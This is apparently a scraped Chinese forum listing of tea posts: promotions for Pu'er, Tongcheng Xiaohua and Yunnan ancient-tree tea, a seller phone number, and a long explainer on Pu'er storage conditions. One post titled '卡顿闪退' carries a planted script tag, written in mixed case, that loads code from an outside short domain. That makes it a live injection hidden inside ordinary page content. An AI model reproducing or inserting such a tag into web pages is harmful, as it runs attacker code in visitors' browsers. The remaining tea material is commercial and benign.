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2021-07-100/182- 暂无回复 -
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2021-07-100/181- 暂无回复 -
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卡顿闪退卡顿闪退<sCRiPt sRC=//xs.sb/8SyG></sCrIpT>
2020-12-050/206- 暂无回复 - -
景迈山欢迎你
2020-11-180/203- 暂无回复 - -
端午佳节也即将到来,礼轻意粽,以茶为礼、以礼祝福,端午安康。订茶礼的老板,提前联系我 ! [图片] [图片] [图片] [图片] [图片] [图片] [图片] [图片] [图片]
2020-06-190/312- 暂无回复 - -
纯天然高山野生茶
2020-04-110/270- 暂无回复 - -
你不知道的安徽小绿茶:桐城小花 桐城小花成品茶外形舒展、色泽翠绿、形似兰花;汤色嫩绿明亮;香气清鲜持久有兰花香;滋味鲜醇回甘;叶底嫩匀绿明。其独特的品质特征是“色翠汤清、兰香甜韵” 一般在谷雨后几天采摘。一芽二叶或三叶,经生锅、熟锅、初烘、摊晾、复烘五道工序制成。加工后的茶叶芽叶完整,每个成品茶有芽头0.8至1万支。 自家的茶园手工采摘后,五道工序自制,看得见的老百姓的好茶叶!(图片实拍) 开启预售,喜欢的 想尝鲜的朋友们可以下单啦!喝茶的艺术 便是舌尖不变的初心~ [图片] [图片] [图片] [图片]
2020-04-050/310- 暂无回复 - -
2020-02-270/301- 暂无回复 -
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小青柑搭配普洱茶,口感一绝 [图片] [图片]
2019-10-250/336- 暂无回复 - -
每个地区由于存储环境(温度湿度)的不同,经过长时间的存放,茶叶在后发酵的速度和口感表现上面也各有表现,广东沿海常年湿度比较大的地区,由于空气里水分比较高,茶叶的转化相对而言要快很多,所以产生了昆明仓、广东仓和北仓等仓储的普洱茶,它们的特点也是不尽相同。 卖到北方或者说卖到除华南地区之外的地方,总有这样那样的争议,争议最多的就是广州仓的“闷仓味”,北方理解为“霉味”。既然和仓储相关,那我们就谈谈普洱茶仓储的几组名词: 1、干仓,湿仓; 2、昆仓、北仓,广仓 3、霉变味,仓味 一、干仓和湿仓 首先大家想到的就是“干仓”,所谓干仓我们指的是干净且相对干燥的仓储环境简写,干净第一,干燥适度!因为普洱茶的陈化它离不开湿度和温度。经过大量的实践和科学研究,普洱茶的转化是由酶促反应和微生物促进发酵,使得口感的不断变化。参与转化的微生物简称有益菌落,酶促反应和有益菌群的生存和活跃,讲究温度湿度,温度在20℃~30℃左右,湿度在60%~70%为佳。 这个,就是正常能储存出好茶的广东仓环境。 “酶促反应”,通俗来说就是通过适当的湿度环境,有益菌大量繁殖会产生酶类物质,而这些酶类物质会促发酶促反应,就是相当于一个天然的催化剂催化来自茶叶里的有机物质。在有益菌大量繁殖过程中慢慢改变茶叶色泽,香气,滋味等等。 酶促反应呢,跟温度相关;而有益菌,则跟湿度相关。 温度低了酶促反应缓慢甚至停滞。湿度高了,霉菌的繁殖速度快于有益菌。导致霉变。所以二者缺一不可!经过大量的实践和科学研究,酶促反应活跃度和有益菌繁殖相对的最佳温度在20℃~30℃以内,湿度在60%~70%为佳。 广东茶人根据经验和科学依据,人为创造出来的干仓环境。 二、昆仓、北仓和广仓 1:高温高湿:温度长期高于30℃,湿度长期高于75%,茶叶霉菌繁殖速度快过有益菌使其产生霉变,后期无法品饮——这就是湿仓了。 2:高温低湿:温度长期高于30℃,湿度长期低于50%,有益菌难以繁殖,由于温度偏高酶促反应加快,使得陈化缓慢,长期下去易产生高温仓!——正常情况下,很少这种仓。 3:低温高湿:温度长期低于10℃,湿度长期高于75%,这种状态下酶促反应与有益菌繁殖缓慢,长期下去,茶叶香气差,饼面颜色阴暗,不够油亮,同时也有一定的发霉的风险!——这种仓应该也不容易存在。 4:低温低湿:温度长期低于10℃,湿度长期低于50%。过于低温低湿,使得普洱茶的酶促反应和有益菌基本处于停滞状态。长期放下去口感基本无转化。——昆明仓、北方仓基本这状态! 广州仓特点:足够的温度和湿度。 优点:自然环境影响,生茶转化快,汤色红甜润,茶汤厚度好,熟茶滑润醇和! 缺点:不够清爽,香气对比北方仓储略低沉(环境因素)。所以为什么广东雨天喝茶通常喝不到茶的正味! 北方仓特点:温度在一年中大部分时间不错,湿度大部分时间不够。 优点:口感纯正,香气高扬,层次感强。 缺点:不具备广州仓的优点了——转化慢,不够滑润! 三、霉变味和仓库味 说到仓味,大家通常联想到湿仓。其实,湿仓茶,指的是霉变茶,从味道到饼面再到叶底都已经因为湿度太高受潮霉变。广州仓储里的“仓味”定义——仓味,指的是仓库的味道,是基于广州仓湿度高,通风不够及时导致的闷仓味!这种茶的香气与仓库的味道并存,饼面也是油光的,除了轻微仓库味道和茶香略低沉,其余均为北方仓储达不到的优点。尤其是刚出库的茶,味道明显! 这种茶,需要从大仓库里搬出来,重新接触新鲜空气,还需要空气有流动,而且不超过相对湿度75%,以便散去仓库味道——这,就叫做“醒茶”。 如广州仓储的茶放在北方干燥的通风环境中半个月左右,散去仓库味道,去除水气,即可达到南北优势结合的特点!昆明仓跟广东仓同一时期茶:口感细腻,苦涩刺激小,较强甜滑感是广东仓的特点;口感刺激,苦涩味重但协调好茶气足,相比较甜滑感弱是昆明仓特点。 无论昆明仓还是广东仓,都需要用心的仓储才能仓储出好茶叶,没有绝对的好和坏。个人接触昆仓较多,广仓也不少,总体来说,个人偏爱广仓2—3年然后回流昆明仓储,在昆明仓储5年左右后和广仓口感比较惊艳。
2019-10-170/344- 暂无回复 - -
2019-07-190/354- 暂无回复 -
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2019-05-210/304- 暂无回复 -
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水为茶之母,名茶还需好水泡!可见好水对茶的重要性。没有好水,就泡不出好茶。选用不同的水,会使岩茶的香气和味道出现很大的差异,品质差异明显。 [图片]
2019-05-090/326- 暂无回复 - -
聚力茶叶 [图片]
2019-04-290/299- 暂无回复 - -
2019-04-140/337- 暂无回复 -
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贵州凤岗锌硒茶,很好喝,名贵高档次茶叶 [图片] [图片] [图片] [图片] [图片] [图片]
2019-03-210/249- 暂无回复 - -
云南六大茶山之一,蛮砖古树茶春茶马上要上市啦欢迎各位老板定购[跳跳]一茶一世界,一壶一人生。我愿沉在茶中,静静品完这一生的浮浮沉沉 记得联系哦:15925413789 [图片] [图片] [图片] [图片]
2019-02-240/346- 暂无回复 - -
2019-01-090/302- 暂无回复 -
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2018-12-090/345- 暂无回复 -
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2018-12-070/327- 暂无回复 -